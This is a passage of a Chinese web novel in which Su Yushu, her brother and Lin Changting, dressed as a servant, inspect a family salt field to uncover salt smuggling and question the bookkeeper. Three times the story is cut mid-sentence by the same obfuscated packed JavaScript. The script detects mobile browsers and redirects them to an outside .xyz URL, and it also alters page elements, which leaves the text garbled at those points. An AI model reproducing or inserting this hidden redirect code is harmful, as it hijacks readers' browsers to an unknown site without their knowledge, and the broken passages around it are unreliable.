苏玉淑咬着自己的食指指节,眉头微微皱着:“眼下我哥已经知晓此事,我可以让他去把盐务揽到自己身上来,到时候名正言顺地跟着他去查便是。杜维的死肯定是瞒不住的,我只怕到时候那人行事会更加谨慎,要是一点儿蛛丝马迹都寻不到可如何是好呢。” “风过留痕,他们就算再谨慎也不可能什么事都做的干净利索。况且私盐利润颇高,你觉得他们按捺得住一时,还能按捺住一世吗?那可是白花花的银子,若是利润再翻上一番,只怕是更伤天害理的事他们都做的出来。” “也是。”苏玉淑想起来商场之中那些老油条的嘴脸,不自主地撇撇嘴,“不过你这话怎么也像把我骂了似的。” 林长亭忍俊不禁:“我怎么敢骂你苏大小姐呢。就连青莲院你都能财大气粗地拿下,哪天一个不高兴再把我的命买走可如何是好。不过提到这个……我倒是有个礼物送给你。” “这就是你还给我的礼物?” 林长亭看着放在面前桌上的衣服哭笑不得。那晚二人分开之后,苏玉淑便让叶英来传话,定在三日之后查探盐场。今日他前来赴会,苏玉鸿却也在她的院子里,他们兄妹二人忍笑忍得痛苦,脸上几乎抽搐起来,那嘴角都快翘到耳根子去了。 “这,这就是下人的衣服……哈哈哈,你就将就哈哈哈……穿一下……”苏玉淑笑得下一秒就要趴地上似的,这桌子上的衣服哪里是什么下人的衣服,分明是丫鬟的! 林长亭的脸上出现了十分罕见的表情,五分震惊,三分惊悚和两分呆滞,他略带嫌弃地用两根手指夹起来那件衣服,这件杏黄色的粗麻衣服看上去有些年头似的,身量宽大不说,衣角还带着几个补丁。他又扒拉了两下,刚才这件外衫居然还算是好的,里面这条裙子就更不用多说了,艳红无比的颜色和粗大的腰带简直让人不忍直视。林长亭倒吸一口凉气,他觉得自己的语气都带了几分哆嗦: “我真要穿这个和你们一起去盐场吗?” “对啊。” 苏玉淑答的理直气壮,就连苏玉鸿也是一脸不置可否。 “你想,你得和我们一起坐马车吧?那我苏家大小姐怎么能和一个小厮坐在一辆车里呢?你是不是得打扮成丫鬟才合情合理呢?更何况你身子又瘦,穿上也看不出什么的是不是。” 林长亭的脑子像是被棍子敲了似的,这条裙子在他眼前晃来晃去,晃得他都不知道苏玉淑都说了些什么。 罢了,罢了。只要是能顺利查出些什么来,穿什么不是穿呢。 “好吧。” 他不知道自己是怎么从嘴里挤出这两个字的,只知道自己回过神的时候,已经被苏玉淑推进了小房间里。他看着这件衣服,又看了看自己身上这件燕羽灰的长衫,绝望地闭上了眼睛。 “哈哈哈哈哈哈!哥你看啊哈哈哈哈哈!” “玉淑……哈哈哈你不要哈哈哈笑了哈哈哈……” 林长亭现在特别地想喊人砍了他们两个。这兄妹二人笑到涕泗横流,只差在地上滚上三圈。 自己有这么好笑吗?有这么丑吗?刚才在黄铜镜里瞧了瞧仿佛也还好啊?林长亭低下头看了看自己,还抬了两下胳膊转了半圈——这不是很好嘛!自己明明就装什么像什么,要是梳个头发上个妆就更像了。 “哈哈哈哈……”苏玉淑笑得上气不接下气,她指着林长亭不住地咳嗽起来,口水呛得她是一个字也说不出来,她憋红了一张脸,笑着跌出门去,把守在外面的叶英也惹了进来—— 整个房间里瞬间充斥了更加吵闹的爆笑声。 “怎么了?不是你说让我穿成这样的吗?你们笑什么?叶英你还跟着一起笑!”林长亭丈二摸不到头脑,他皱着眉头等这几个人笑完,结果不仅没等到一个解释,还等来了怒气冲冲的绿萝: “谁把厨房三嬷嬷的衣服拿到这儿来的!” “林兄……马备好了。”苏玉鸿小心翼翼地看着已经换好了小厮衣服的林长亭,自打他十岁以来就没再露出过这种犯错孩子似的表情了。眼前他如此生气,早知道就不纵着玉淑胡闹一番,闯下这等祸事。 林长亭冷哼一声,他死死瞪了一眼骑着马巴巴地看着他的苏玉淑:“哪有小厮骑马的道理。” “先骑一会儿呗……”苏玉淑嘟囔一句,“快到了再下来,挺远的呢。” “那我倒要谢谢大小姐好心了。” “没事没事,都是自己人,就不生气了啊……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“正是。” “不可。”他二人异口同声地拒绝了苏玉淑的提议,要知道谁把令牌戴在身上,谁就是今天的活靶子。她这么做无异于以身饲虎,苏玉鸿就这么一个妹妹,又怎么肯让她身陷险境呢? “哥,林大人。不要意气用事,你们仔细想想。林大人并未到杜家拜访,若是那人盯着杜家已久,难不成不会心生疑虑吗?而我出入杜家次数不少,又与杜蕊华一样身为女儿,自然是有可能拿到这东西的。你们若是那人,是一个陌生的男子拿着此物你们更容易相信,还是拿在我手里更能说服别人呢?” “可是……” 苏玉鸿刚要说些什么,林长亭便伸出手打断了他的话头。苏玉淑此话的确有理,这东西拿在她的手里才更有可能让那暗处之人上钩,可他也不能就这么置她的安危于不顾。 若她真是有个什么好歹…… “我可以把令牌给你。” “林兄!你!” “苏兄莫急。进到盐场后,我无论如何都不会离开苏小姐太远。更何况在盐场里对自己小姐动手可不是上上之策,我更倾向于那人会先向她传递消息,而不是对她做什么不利之事。” “可……” “没什么好可是的。”苏玉淑伸出手来,她笑得如同今日明媚的骄阳,“拿来。你妹妹可不是什么等闲之辈,这苏家的大小姐不是这么好做的,不是吗?” 林长亭笑笑,将令牌交于她手。苏玉鸿也不再说些什么,他只是暗下决心定要保护好妹妹,绝对不让她出一点儿事。 “走吧。”苏玉淑伸手一指,盐场已然在不远处。他们一路摸索的真相,她苏家的安危都在那弹丸之地,今天就算把这里翻个底朝天,她苏玉淑也要把这小人揪出来,不给他来个千刀万剐决不罢休。 幽深的小径上扬起一路飞沙,三人的身影渐渐消失在林子深处。 竹林外,正是那阳光万丈。 27. 第二十七章 “一会儿小心行事,若是有什么立刻就叫出来,我一定会保护好你的。” “知道了哥,这一路你都念叨多少次了。”苏玉淑大咧咧地把糖渍梅子往嘴里塞去,眼下快到了,林长亭正下人似的给她牵着马,她正好乐得自在。 不过这林长亭怎么还记得自己喜欢吃这东西啊,他也真是一天天脑子里没正经事干。苏玉淑这么想着,又挑了挑眉—— 反正有吃的,管他呢。 林长亭倒是没她心思这般大条。眼瞧着快到了,四周竹子上的他的侍卫的记号也越发多了起来。苏家兄妹看不出,可他却十分清楚,经过这些时日的布防盯梢,他的对手不仅谨慎狡猾,更是野心滔天。师城的制置使是数年前才刚刚从京城调任过来的,并非师城之人,想来与稳坐京城那位定然是早有勾结,否则不可能这些日子就掀起这么大的波浪。 更不可能这么轻易就一纸调令把自己从权力的中心搞到这种地方来。看似是大案要案,实则是调虎离山罢了。 等他回去的时候,还不知道京城是副什么光景姓甚名谁呢。只是若脸眼下这件事情都办不好,不要说回去了,就连现下的状况都难以维持。 若不能将敌人一击即溃,还不如韬光养晦以待来日。而眼下正是他培养自己势力,增加朝中人望最好的机会。 他绝不会放过。 “等下我会跟在你二人身后,无需过多关注我的存在。记着,越自然越好,就当我真的是你家的一个仆从。” “那你回去之后不如多当两天,也让我过过使唤你的瘾。”苏玉淑抬了抬下巴,“到了。” 苏家的东流盐场是师城乃至整个东梁都能数一数二的盐场,这里守着海边,地形平坦开阔,资源丰富且雨季不长日照充足,是晒盐的不二之选。苏家自拿到盐引以来,凭借着东流盐场一举成为师城首富,虽说不是富可敌国,但想来也是树大招风才引来如今的祸事。 苏玉淑见远处站着几个人,兄妹二人对视一眼,苏玉鸿便加快了马步抢先到了跟前。 “大少爷。”为首的男子身形不算魁梧,头发胡子也已经花白,可一双眼睛却透露出精明的神采来,“石一来见过少爷。” “石场主不必多礼。”苏玉鸿在马上点了点头,并未过多客气。虽说他没有妹妹那般冰雪聪明,可这些年来也和父亲学了许多御下之道。他摆出一副爽朗的笑容,一番话举重若轻: “家父忙于家中其他生意,这东流盐场我们也是许久不曾上心了。前些日子安字号的刘掌柜来报,这雨季马上就要到了,只怕是物件准备的不齐全耽误了出盐,家父特意命我和小妹前来巡视,也算是给我二人长长见识了。” “少爷巡视自家家产是应当的,恕老奴多嘴,老爷应当对盐场更上心些才是。这些年官府对盐引之事愈发收紧,只怕是盐务松懈对上面难以交差。” “石场主说的是。听您这话里,您似乎并非父亲在外聘来的?” 石场主不自觉地挺直了腰杆:“少爷有所不知,老奴的父亲便是在苏家祖上伺候的,我们一家三代都扎在这盐场里了,自是比外面的要懂上许多。” “你走快点儿啊我都听不见他们说什么。”苏玉淑紧紧咬着后槽牙,她一边远远地朝几人微笑着,一边咬牙切齿地催促道。 林长亭也咬着后槽牙回她:“大小姐,我这是两条腿,不然你自己骑过去呢?” “那我带你来做什么,我自己来不就行了。也不知道上次是谁因为我自己跑过来给我臭骂一顿。” “我骂你?难道不是你自己把手划伤了还不知道轻重吗?” 两个人你一言我一句的,竟也装作一副无事发生的样子走到了众人面前。 “想来这位便是大小姐了。老奴见过大小姐。” 苏玉淑摆出一副大方的样子来:“石场主无需客气。我今日只是求了哥哥带我来看看盐场罢了,你们谈便是。” “诶,就算是东流盐场在城郊,我们也是久闻大小姐精于商道的名号的。还未给两位介绍,”石场主指向右边,“这一位是东流盐场的副手,张青。左边这一位是盐场的账房闻先生。其余的都是咱们盐场里盐务上的好手,从蓄水到晒盐的步骤他们都是精通的,两位若是有什么要问的尽管问,咱们的盐工都是师城里最好的。” “那就有劳场主和各位了。”苏玉鸿翻身下马,林长亭也扶着苏玉淑一并下来。三人跟随着浩浩荡荡的队伍一路进入盐场里面,才发现真是别有洞天。从外头看起来,这盐场光秃秃的,仿佛是哪里被荒废了的村落似的,除了门口扎着的几个栅栏别无他物。可一路走进来,光秃秃的地上便多了些白花花的水痕,越往里面就越多。直到绕过一片矮房,眼前的一幕令苏玉淑无比震撼: 几座高高低低的盐山如同雪山一般堆在晒场上,各色卤水的盐池有如妙龄少女的胭脂盘,在阳光下透露出不尽相同的美妙颜色。数十名光着膀子的盐工正扎在盐场里忙着他们手中的营生,编着苇草的、熬着卤水的、摊着粗盐的……几个手中握着巨大木槌的盐工的号子喊得震天响,他们一下一下地敲着结晶的盐块,直到它变成细细的粉才善罢甘休。 他们手中握着的是自己的生计,是全家老小的指望。数代的盐工都把自己的命挥洒在这片白花花的盐粒子里,这一捧一捧的细盐和着的是苦涩的海水,是他们日日夜夜的血汗和劳作的豪迈与苦楚。 苏玉淑被不由得惊呆了,这里和那天她在后山上看到的样子截然不同。那日正逢下雨,一窝泥淖似的盐场秃得让人嫌弃,可今日这里生机勃勃足见其火热。 她看向身边的石场主,这小老头儿的身子已经有几分的佝偻了,可面对着这一片盐场,他的眼里却有着十年如一日的热爱与冲动,仿佛巴不得自己下去捣上几下似的。 倒是那张青,她眼熟的很。 “少爷,小姐,你们看。”石场主指着劳作的盐工们,满目都是自豪,“东流盐场就是这么一代一代传下来,干下来的。这里的盐工大多也是祖上就在盐场里,也有周边的渔民前来投奔。我们靠海吃海,咱们苏家的盐能成为贡品是有咱们的道理的。” “石场主,有劳了。”苏玉淑不禁心生敬佩,她偷偷瞄了一眼那张青,他正沉着一张脸,“东流盐场能有今日,全凭着您一力操持。” “诶,哪里哪里。”小老头儿只是摆摆手就不再说话,他就这样乐呵呵地看着底下的人按部就班地一道道工序做下去,一担担的海水运上来,仿佛看着的不是盐场,而是自己引以为傲的孩子一样。 张青冷笑一下,只瞥了苏家兄妹一眼,眼神里充满了不屑。林长亭敏锐地察觉到了他的表情,这人和上次叶英回去描述的男人也颇为相像,只是现下还不能确定是否就是那刘掌柜口中的“姐夫”。 他眉头一皱计上心来,即刻俯身行礼: “少爷,小姐,您吩咐小的带着的东西,小的都带着了,您可要记得赏赐下去才是。” “是,你不说我差点忘了。”苏玉鸿爽朗一笑,“场主,您为苏家辛劳了一辈子,这次前来我带了些许银子,一是为了整备盐场以备雨季,二是犒赏各位劳苦功高。” 石场主接连摆手:“不可不可,这些都是分内之事,又何须主家犒赏……” “石场主倒是两袖清风,可是底下这些兄弟们都指望着做工养家糊口。苏家赏赐大家自然是没有不要的道理的,石大哥可不要卖了自己的好亏了兄弟们才是啊。” 苏玉淑顺着声音看去,正是那一脸不忿的张青。他此刻正歪着一张嘴,活脱脱一副不服气的样子:“石大哥,兄弟们可等着这个钱回家呢!” “你,你拿了钱不也吃喝嫖赌!你什么时候给家里过!这些年来你在盐场拿的还少不成!” “怎么花钱是兄弟们的事儿,可是您拦着少爷不让给赏钱是几个意思!” “你!” “这有什么好吵的。”苏玉鸿拦下了刚要发作的玉淑,他的眉眼之间还是那样的从容温和,“石场主,您不必推辞。今天这个银子既然已经带了,就是一定要发的。张大哥又何苦因为银钱之事动这么大的气呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457810|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>石场主刚要说些什么,苏玉鸿只拍了拍他的肩膀,什么都没说。虽然眼下平息了争吵,苏玉淑却觉得这样太过软弱温和了些。这张青明眼人一看都知道不是什么好东西,哪怕他不是所谓的“姐夫”,也绝对是个惹是生非的混账。他胆敢当着少东家的面和自家场主顶撞,就要趁机打压发落了才是,此时不拿他做做样子,又怎么才能治家理业呢。 不过苏玉鸿就是这么个脾性。他素来宽宏待下,简直就是个和事老,哪里有半点主家的威严权势。 这是他的弱点,却也是他最大的好处。 林长亭适时地奉上银票,他故意将手从苏玉淑腰间别着的令牌前抬起,将几张银票奉上前去。苏玉淑只是温和地朝石场主笑笑,装作一副大家闺秀的样子来,看上去和这粗犷的盐场倒是有些不甚相宜。 “大小姐,这里海风甚大,日头又晒,眼见着要热起来了。不如您先到屋里坐坐,喝喝茶看看账本也是好的。” “石场主说的有道理,玉淑,让小林跟着你先去吧,我等等便来。” “是。”苏玉淑假惺惺地朝哥哥行了礼,闻先生适时地上前,做出了“请”的姿势。她刚要迈步,那张青却抢先一步拦在前头: “大小姐,这盐场里上上下下大大小小的事没有我不知道的,要不就让小的陪着您吧,闻先生只知道做账,这别的事情还得是我来打理。您别看我是个粗人,女儿家的事我可懂得多的很呢!不如……就让我陪伴大小姐左右,哈哈哈哈!” 他这话说得轻佻失礼,饶是苏玉鸿这般的好性子也难以忍耐。林长亭冷冷看着对面不知天高地厚还笑得正得意的男人,若不是公务在身,就凭这登徒子的几声笑,就足以要了他的狗命。 “张青!你怎么能和大小姐这么……” 苏玉淑摆了摆手,打断了石场主的话。多亏了张青笑的这两声,她终于确认了他就是雨天与刘掌柜密谋之人。她嘴角含笑,看上去并不生气的样子。苏玉淑伸出手将拦在自己身前的林长亭推至身后,她的眼中不带一丝笑意却依旧温和的样子宛如风暴来临之前的大海,平静而恐怖—— “跪下。” 在场的人都愣住了。 苏玉淑又笑了笑:“我让你跪下。” 张青这才明白她说的是自己,他尴尬地左右看看,可映入眼帘的只有一干人愤怒的表情。他本是仗着自己贩了私盐赚了几手的银子就得意起来,谁知这小丫头却如此刚直。大庭广众之下就要他下跪,他堂堂“七尺男儿”又怎么肯。 他满脸不服气:“你,你让我跪我就跪?凭什么!我又不是你家的奴才!我可是平头百姓!” “对主家出言放肆,罚跪难道不应当吗。莫要说你是我家的盐工,即便你是外头的人敢这么和本小姐说话我也定要你好看!看来是我父亲和哥哥平日太纵着你们,才惯得你们不知好歹不知天高地厚,若我苏家像那杜家一般治家严厉,你区区一个盐工敢这么和我说话?你可知什么是人伦纲纪礼法规矩?今日我就学了我那杜家姐姐,我偏要罚你。你若是自己乖乖下跪求饶,我就饶你一命。你若是不跪……” 张青脖子一梗:“如何?” “我见这废了的卤水也是可惜。不如就打断了腿丢进去,张大哥以为如何?” 苏玉淑轻描淡写一句话,却叫在场之人纷纷胆寒。只有林长亭内心偷笑,他知道她这是故意提点杜家,好吸引那暗处之人注意。这张青行事莽撞,就算参与私盐案也必定不是接头之人。能博得上面青眼的,必定是个心思缜密的。苏玉淑此时若不将自己置于明面儿上,只怕这钩子还要多下上一阵子也为可知。 张青咬着牙抿着嘴,这苏家大小姐不像是在开玩笑。她那一双眼睛比最深的盐池子还深,要是真逆了她的心意…… 好汉不吃眼前亏! 张青拱着鼻子,纵是有十万个不愿意也只能普通一声跪在她身前。可苏玉淑连看都不看他一眼,她只是淡淡地转过身子,朝向远处的账房: “走吧,闻先生。我可没什么时间浪费在渣滓身上。” 28. 第二十八章 闻先生引着苏玉淑和林长亭二人走在去往厅内的小路上,这里倒是有些稀树翠竹,不似晒场似的酷热难耐。刚刚罚跪张青这个混蛋也算是小小地替自己和父亲出了一口恶气,等到这件事彻底解决,她势必要把这起子人一并狠狠发落了,到时候就给他们个明正典刑,有他们做例子看谁还敢造次。 “大小姐真是令人钦佩啊。” 苏玉淑一怔:“闻先生何出此言呢?” “大小姐雷厉风行,虽不像大少爷一般宽仁待下,可对于张青这种人来说,重重地罚下去才是最好的。” 她看着闻先生笑眯眯的一张脸,心里顿时生出了一种不好的预感:“闻先生这句话,您仿佛很讨厌张青?” “谁会喜欢一个粗鄙又自大的人呢。”闻先生停住脚步,他拱手行礼,“大小姐且先去正厅坐坐,我去给您泡茶。盐场不似家中,没有丫鬟下人等伺候的人,还请大小姐见谅。” “闻先生客气了。我也不是那般娇气矫情之人,不如我们直接去看看账本如何?” “大小姐虽然英气爽朗,可是我们也不能失了待客之道。账本早已备好在正厅,还请大小姐先行一步,我即刻便来。” 苏玉淑点点头,话都说到这份上了,她自然也不好再多说什么。这闻先生倒是长得英俊,即便整天在盐场之中劳作皮肤黝黑,可他那股斯文疏离的气质却十分难得。林长亭见苏玉淑盯着闻先生的背影看个没完,忍不住揶揄道: “怎么,喜欢这小账房先生?” “说什么呢你?”苏玉淑被他这阴森森的一句话吓了一跳,她翻了个白眼,“都什么时候了你还说这种不着边际的话?” “都什么时候了你还盯着个男人看个没够!” “那我盯着你看,我天天盯着你看,你最好看我最爱看你,行不行?”苏玉淑才懒得和他吵,也不知道为什么明明两个都是冷静的人,可偏偏凑到一起就没有一天安生的时候。她潇洒地冷哼一声,转头自己就进了厅堂。 林长亭却在她背后默默红了脸,他看着苏玉淑得意地蹦蹦跳跳的背影,树冠缝隙间的阳光明明暗暗地洒在他的脸上,和耳畔的知了声一起叠成了一个完整的夏天。 苏玉淑并不知道自己背后的目光有多么热切而惆怅,此刻她的胸口正装满了兴奋——她终于快要接近了真相。这闻先生看上去没什么特别,苏玉淑却觉得他不简单,她的心中不停地跳着鼓点,苏玉淑的直觉一向很准,即便他不是与自己接头之人,恐怕也并不是个置身事外的。 她不自主地垂手抚摸起了那块令牌,这块令牌通体漆黑,虽然不是上好的墨玉,可也冰凉油润,在这暑热的日子里竟然也能令人颇为心安。苏玉淑自打拿到这块牌子还没来得及仔细研究,此刻四周无人,她正好能细细端详一番。 乍一看这块令牌并没有什么不同之处,牌子四周雕刻的是常见的水波纹样,在阳光的照射之下,在一团墨黑之中泛出隐隐的暗绿,倒是栩栩如生。在纹样中间还刻有两只凤凰,首尾相连凑成四角,正好包围住中间的“安”字。安?安字号?这个人姓安?还是别的什么意思?她想要问一问林长亭,可眼下她们正在盐场之内说话不便,倒不如回去坐下来慢慢说。 这厅堂踱步便到,虽然外观看上去有些老旧,可里面却十分整洁清爽,一看便知是认真打扫过了。苏玉淑迈步进门,里面静悄悄的,正桌上堆叠起来的账本倒是不厚,只是静静地待在那里等人翻阅。 屋子里安静又凉爽,就连外面的蝉鸣都显得悠远了。她深吸一口气,一股海盐混着潮湿木头的气味涌进鼻腔,和小时候在祠堂里闻到的味道倒是很像,是沉淀着时间和心血的气息。 不知为何,苏玉淑微微笑了一下。 她安静地坐下,翻看起账本。这上面的字迹隽秀,比起来安字号那乱糟糟的东西不知道好了多少倍。林长亭见她看得认真也不忍打扰,他也只是静静地站在她的身边,如同一名最忠诚的守卫。 阳光从大门正正好好地洒到二人的脚边,形成一道明暗的光影。和光同尘,与时舒卷,大概说的正是这样的光景。 苏玉淑仔细看着上面的每一行字,虽然都是些枯燥的支出和进项,可这也比看外面那些没安好心的人演那出拙劣的戏强。她看得认真,竟不知不觉伸出手去: “绿萝,给我拿个点心。” 林长亭不禁哑然,他轻声笑了笑,从怀里掏出包得严实的糖渍梅子:“大小姐,先将就一下吧?” “啊?”苏玉淑一怔,她尴尬地抬起头来,“我,我以为自己在家呢。” 林长亭看着她微微张着的嘴有些呆愣的神情,他握住苏玉淑伸出来要零嘴的手,将整包梅子都拍了进去:“这段时间辛苦你了。” 苏玉淑被他这突如其来的宠爱吓了一跳。虽然和林长亭在一起的时间并不多,可在她的印象里,他一贯是个吃人不吐骨头的笑面虎,偶尔有点人的模样还都用在和自己吵架拌嘴上了。这种温温柔柔的样子在他的脸上实在是不合适,苏玉淑总有种他下一秒就要做些什么恶事似的不祥的预感。 “我……” “拿着吧。我记得你爱吃。” 不知为何,她的脸竟红了起来。 苏玉淑捏起一颗梅子放进嘴里,酸甜的味道立刻弥漫开来——是哥哥最常买的那一家,是她最熟悉不过的味道。不过林长亭是怎么知道的?他再消息灵通,也不至于让叶英叶荣连这个都汇报吧?见这副表情,林长亭都不用问就知道她的小脑袋瓜里面在想些什么。左不过是又在心里把自己编排成了个大恶人,真是好吃的也收买不了的小白眼狼。 “你哥告诉我的,行了吧。” 苏玉淑瞪大了眼睛:“你怎么知道我在想什么?” “我还不知道你。”他无奈一笑,苏玉淑这才发现林长亭居然意外地有些好看。石板地上反射出来的光刚好柔柔地打在他的脸上,显得林长亭既温柔又英俊。他的鼻子高挺,睫毛居然比女孩子的还要长上几分,虽然身着布衣,可身上那股矜持华贵的气质却难以抵挡。 原来怎么没发现这小子长得还挺好看的。 “怎么,真的盯着我看个没完了?” “谁要看你啊,你少调侃我了。”苏玉淑故作恶狠狠的模样,“小心我把核儿吐你手里。” “你敢吐我就敢塞回去。” “你——” “打扰两位了。” 闻先生端着茶盘微笑着站在光里:“大小姐久等了。这是上个月苏家茶行那边送来的新茶,因还没有拆封过才耽误了些时间。还请大小姐不要见怪。” “怎会。闻先生有心了。” 苏玉淑狠狠瞪了林长亭一眼,他正老老实实装作下人模样,就和什么都没发生似的。她赶忙转身找了个闻先生看不到的角度清理下嘴巴,继而摆出一副大小姐的派头来: “东流盐场的账目极清晰,这是有闻先生的好处。” 可他却没有接话。闻先生只是将茶叶摆好,笑眯眯地看着她。 苏玉淑心下一冷,不妙。 茶香沁人心脾,的确是苏家茶行里的上品。可眼下她一点儿品茶的心思都没有,她的双眼如同索敌的海东青一般紧紧地盯着账本上的每一行字,每一条数目都要细细在心里盘算过才行。这账目十分清晰,东流盐场每月的盐工工钱、贩盐的斤两、当天的盐价、盐场用度开支、每月盈余、每年盐税几何都记录在册,甚至是每月的盈利浮动都有记载。 单从账本上来看,这几本账做得甚至比苏家大部分的商号做得还要漂亮些,数目清晰注脚详细,实在是看不出有什么问题。苏玉淑有些困惑地抬起头,只见闻先生还是那副笑眯眯的样子,他什么也不说,什么也不做,就静静地坐在那里,如同一座有待开发的金山。 苏玉淑长到这么大,她最不缺的就是那股子刨根问底的劲儿。 闻先生这幅“你随意”的样子一下子就激起了她的胜负心,苏玉淑眉头紧皱,目不转睛地翻看着,直到茶都凉了日头都有些暗了,她才沮丧地抬起头。她只觉得脖子酸痛,颈椎更是麻的厉害,苏玉淑扭头看向身后的林长亭,瘪了瘪嘴: “这账本也没什么好看的。都挺好的。要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457811|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不……要不让我的小厮看看,他对这个也挺懂的……” 林长亭是哭笑不得地接过账本,他哪里会看这个。这经商之道他不曾涉猎,对于这些账目款项更是知之甚少。他就这么胡乱翻了两下,讪笑两声: “大小姐说没问题,那就是没问题了。” 可是肯定有问题啊! 苏玉淑就差喊起来了,料想之中接头的人也没有出现,这闻先生比林长亭这家伙看起来更沉得住气,他这幅笑脸一开始看着还挺顺眼的,现在看来倒是有些欠揍。 闻先生笑笑,苏大小姐现在这副表情就像要把他生吃了似的,再不开口怕是真要有人倒霉了。他放下茶杯,声音轻柔:“大小姐,有些东西既然在明面上,自然是不怕查的。可有些东西……它不用摆出来,您说是吧。” 苏玉淑一下子就听出来了他话里有话: “闻先生此言何意?” “大小姐,盐场的账目上是不会有任何问题的。我这个人向来谨慎,东流盐场算得上东梁最大的一处盐场,若是我没几分本事自然也难以胜任。大小姐不通盐务,自然瞧不出毛病。” “还请闻先生不吝赐教。” “盐价自古便不能由私家定夺,都是由官府定了价再拿了盐引一年一年地贩卖下去。东流盐场的销路明确,基本经由苏家的安字号发配到各城商铺售卖,自然不会有任何问题。想来大小姐也是经常看苏家其他商号的账册,是个懂行之人。但盐场和其他商铺不同,其他字号做的是二手的买卖生意,自然有入价和出价。而盐场……” “盐场自然是没有入价,只是上交官府盐税,账本上看起来自然是无本的买卖……” 闻先生眯着眼睛笑起来:“然后呢?” “那自然是没有人知道……盐场到底有多少盐……” 闻先生十分满意地点了点头,像是教出了一个出色的学生。苏玉淑瞪大了瞳孔,她此刻才了解醍醐灌顶的意思,盐场是靠海吃海,每年出盐只记载了多少能用于贩卖和上贡,至于那些在练盐过程之中的损耗则不予计较。想来那些人正是利用了这个差值,将初步提炼却未能达到细盐规格的粗盐克扣下来积少成多,又或是用些别的什么法子,总归是账本上看不出来可实际上却早已偷天换日将那私盐运了出去。 他果然知道些什么。 苏玉淑猛地站起身来:“多谢闻先生。敢问这盐场当中可有那称重计量之地?” “自然是有的。大小姐若不嫌弃,我带您前去便是。” “那就有劳闻先生了。” 闻先生在前引路,苏玉淑亦步亦趋,林长亭更是寸步不离。从正厅到那里还需走上一会儿,苏玉淑觉得闻先生人还不错,索性问起了盐务相关。 “盐场的盐从初晒到成品需要经过数次步骤,刚才您在晒场上也见识到了,那是最开始的工序,而真正麻烦的是过箩、调配、储卤、结晶、铲出五个步骤。在最后两步,合格的细盐会储存进缸,而粗盐则会重新提纯。因此这一部分的损耗是没有记载的。” “也就是说……即便将这些粗盐偷偷拿出去贩卖,也无人知晓?” “粗盐毕竟也是盐,块大惹眼,只怕还不只这点手段。” 苏玉淑不解:“闻先生,您为何要告诉我这些呢?虽然我们才刚刚相识,但我觉得您是个精明聪慧之人。您句句提点,若是闻先生真有所求,我也自当竭尽全力满足才是。” 可闻先生却摇摇头:“大小姐,恕我直言,苏家应当对东流盐场多上些心才是。” “这个自然。” “盐务乃天下第一要务。或许在您眼中东流盐场只是自家基业,可上至天子皇族,下至黎民百姓,没有哪一个人是离得开盐的。盐利之足,盐税之高,又怎能不让人觊觎?盐务不请,盐政不明,这银钱到了不该到的地方,有了不该有的用途,天下必将大乱矣。” 苏玉淑刚要说些什么,闻先生却停住了脚步。此刻三人面前是山脚背风处一个颇大的平房,里面隐隐地散发出些芦苇沤过的咸湿气息。 “大小姐,就是这里了。” 29. 第二十九章 “这里面是?”这间房子背靠山脚略显阴森,和盐场外围阳光曝晒的热辣氛围完全不同。苏玉淑虽然一贯胆大,可面对这黑压压的房门还是有了些怯意。 “这里是储卤房,经过头两道工序的海水会在这里先沉淀储存,再进行其他的步骤提纯。这里背雨高温,是存卤的好地方,大小姐不必害怕。我来给您带路,您随我来就是。” 看着闻先生逐渐远去的背影,她的心里还是隐隐有些不安。林长亭上前拍了拍她的肩: “别怕,我在。” “可是……” “我会保护你。” 他的眉眼之间满是认真。此刻已是箭在弦上不得不发,就算不是为了苏家她苏玉淑也一定要走这么一遭。 就为了她自己。为了能有直面未来所有恐惧的勇气。 苏玉淑下定决心,头也不回地迈步向前。身后的脚步声为她增添了许多底气,自己既然从林长亭的手中接过了令牌,此刻再退缩便是实打实的小人之举。闻先生的身影已经被黑暗吞没大半,她赶忙小跑两步跟上。 刚一进到储卤房,只见这里摆满了许多大大小小的酱色的大缸,一排排三五行地放置于房间两侧,只留下窄窄的一条通道向深处去。房间内虽然阴暗,可温度却高。苏玉淑擦了擦额头渗出的汗滴,忍不住发问: “闻先生,还需要往里走多远啊?” 闻先生驻足:“快了。” “这里倒是比我想的大了不少。”苏玉淑脚下不知道踢到了什么东西,一个踉跄险些没有站稳,林长亭和闻先生同时伸出手去才扶住了她不至于摔倒。 “大小姐还是小心些。”闻先生略抱歉地放开了手,“这里的火把不能太过于密集,储卤房连着后面的山洞,我们此刻便是在山体内了。这里地气又热又能节省地方,是存卤水的好地方。” 苏玉淑撑着林长亭的手站稳:“果然是热,感觉都有些喘不过气了。” “大小姐不常来这种地方,再往里便可好些。再不远处就是卤水池了,里面存的是陈年的老卤水,阴凉的地方不易腐坏。” 